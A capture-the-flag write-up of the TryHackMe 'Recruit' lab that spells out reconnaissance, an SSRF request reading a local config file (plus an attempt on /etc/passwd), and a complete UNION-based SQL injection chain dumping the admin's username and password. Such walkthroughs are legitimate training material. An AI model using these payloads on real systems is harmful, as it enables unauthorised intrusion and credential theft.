[ voltar_aos_relatorios ]
TryHackMeEasyCTFConcluído4 min de leitura

Recruit

Recruit has just launched its new recruitment portal, allowing HR staff to manage candidate applications and administrators to oversee hiring decisions. While the platform appears functional, management suspects that security may have been overlooked during development. Your task is to assess the application like a real attacker, mapping its structure, abusing exposed functionality, and exploiting vulnerabilities.

21 de agosto de 2026Éric Seles
CTFTryHackMeSQLiSSRFGobuster

Recruit

Enumeration

nmap report:

OUTPUT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
53/tcp open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Entering the web application, we can see a recruitment portal with a login page and a link to Acess API.

1787364965266-image.png

First step is to enumerate the API, let's visit the URL "http://10.64.132.77/api.php" and see what we can find.

1787364979506-image-1.png

With the FAQ section, we can retrieve some information about the API.

  • API is used to fetch and process candidate CV from external sources.
  • To fetch a CV we can use the endpoint /file.php?cv=<URL>.
  • All HTTP and HTPPS requests are allowed. (SSRF vulnerability)
  • The API security block requests to restrict locations

Knowning that we only have access to local files, we can try to fetch a local file using the endpoint /file.php?cv=file:///etc/passwd. The request return a "Access denied" message, indicating that the API is working as expected, but we dont have access to this local files.

Lets try enumerate some pages and files that may be accessible through the web application.

BASH
gobuster dir -u http://10.64.132.77 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 120 -x php,txt,html,conf

Now we have a list of directories and files:

BASH
header.php           (Status: 200) [Size: 457]
mail                 (Status: 301) [Size: 311] [--> http://10.64.132.77/mail/]
assets               (Status: 301) [Size: 313] [--> http://10.64.132.77/assets/]
footer.php           (Status: 200) [Size: 289]
file.php             (Status: 200) [Size: 20]
api.php              (Status: 200) [Size: 4151]
javascript           (Status: 301) [Size: 317] [--> http://10.64.132.77/javascript/]
logout.php           (Status: 302) [Size: 0] [--> index.php]
config.php           (Status: 200) [Size: 0]
dashboard.php        (Status: 302) [Size: 457] [--> index.php]

I try the first directory, "mail", and find a file called "mail.log". This file contains a username credential for "hr" user and told us that the password is at the "config.php" file. Let's try to access the "config.php" file using the API endpoint.

BASH
curl "http://10.64.132.77/file.php?cv=file:///var/www/html/config.php"

The request returns the contents of the "config.php" file, which contains the password for the "hr" user. Now we have the credentials to log in as the HR user.

OUTPUT
FIRST FLAG: THM{LO...ER}

Exploitation (SQL Injection)

Now we are in a dashboard page and we can see a search bar that allows us to search for candidates. The first thing that comes to mind is to try a SQL injection attack. Let's try to input a single quote (') in the search bar and see if we get any errors.

1787364982891-image-2.png

The application returns an error message indicating that there is a SQL syntax error. This confirms that the search bar is vulnerable to SQL injection.

BASH
SQL Error:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1

Enumerating the database, we can try to use a UNION SELECT statement to retrieve data from other tables. Let's try to find out how many columns are in the table by using the ORDER BY clause.

BASH
' ORDER BY 1 --
' ORDER BY 1, 2 --
' ORDER BY 1, 2, 3 --
' ORDER BY 1, 2, 3, 4 --

In the fourth attempt, we stop receiving an error message, indicating that there are 4 columns in the table. Now we can use a UNION SELECT statement to retrieve all databases.

BASH
' UNION SELECT 1, 2, GROUP_CONCAT(schema_name), 4 FROM information_schema.schemata -- -

Resulting in the following databases:

OUTPUT
mysql,information_schema,performance_schema,sys,phpmyadmin,recruit_db

With that information, we can now retrieve all tables from the "recruit_db" database.

BASH
' UNION SELECT 1, 2, GROUP_CONCAT(table_name), 4 FROM information_schema.tables WHERE table_schema='recruit_db' -- -

Resulting in the following tables:

OUTPUT
candidates,users

Now we can retrieve all columns from the "users" table.

BASH
' UNION SELECT 1, 2, GROUP_CONCAT(column_name), 4 FROM information_schema.columns WHERE table_name='users' -- -

Resulting in the following columns:

OUTPUT
USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,MAX_SESSION_CONTROLLED_MEMORY,MAX_SESSION_TOTAL_MEMORY,id,username,password

Now we can retrieve the username and password from the "users" table.

BASH
' UNION SELECT 1, 2, GROUP_CONCAT(username, ':', password), 4 FROM users -- -

Resulting in the following credentials:

OUTPUT
admin:admin@001admin

Just like that, we have successfully retrieved the administrator credentials. Now we can log in as the administrator using the username "admin" and the password "admin@001admin".

OUTPUT
SECOND FLAG: THM{LOG...N1}

Data: 21/08/2026 Autor: Éric S.